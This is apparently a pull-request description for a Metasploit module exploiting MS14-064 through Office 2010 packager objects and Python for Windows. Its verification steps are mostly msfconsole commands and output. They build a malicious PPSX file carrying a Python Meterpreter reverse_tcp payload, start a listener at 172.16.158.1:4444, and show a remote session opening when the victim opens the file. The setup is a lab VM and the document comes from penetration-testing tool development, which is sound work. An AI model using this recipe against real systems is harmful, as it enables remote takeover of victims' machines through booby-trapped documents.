Add module for MS14-064 bypassing UAC through python for windows

I've decided to add a new module for this bypass since it depends on Python for Windows which should be installed on the target, indeed this module is ARCH_PYTHON. I felt like it's more cleaner to add a new module. But if you think it's better to merge #4185 and this in the same module, just let me know and I can make it happen :)

Verification
--------------

- [x] Install Windows 7 SP1 (32 bits)
- [x] Install Office 2010 SP2 (SP2 is important :) same history than with ms14_060_sandworm).
- [x] Apply MS14_060
- [x] Install python for windows: https://www.python.org/downloads/windows/ I had python 2.7.3 installed in my vmware template. According to Haifei Lei python 2.7.8 can be used too. Not sure about other versions. Should test. 
- [x] Generate the ppsx with the fileformat exploit:

```
msf > use exploit/windows/fileformat/ms14_064_packager_python
msf exploit(ms14_064_packager_python) > show options

Module options (exploit/windows/fileformat/ms14_064_packager_python):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.ppsx         yes       The PPSX file


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013


msf exploit(ms14_064_packager_python) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(ms14_064_packager_python) > exploit

[*] Creating 'msf.ppsx' file ...
[+] msf.ppsx stored at /Users/jvazquez/.msf4/local/msf.ppsx
msf exploit(ms14_064_packager_python) >
```

- [ ] Setup the payload handler:

```
msf exploit(ms14_064_packager_python) > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
```

- [x] Open the ppsx in the target (No external samba resource is needed in this case).
- [x] Verify you get a session in the handler

```
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (18528 bytes) to 172.16.158.131

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer     : WIN-RNJ7NBRK9L7
OS           : Windows 7 6.1.7601
Architecture : x86
Meterpreter  : python/python
meterpreter >
```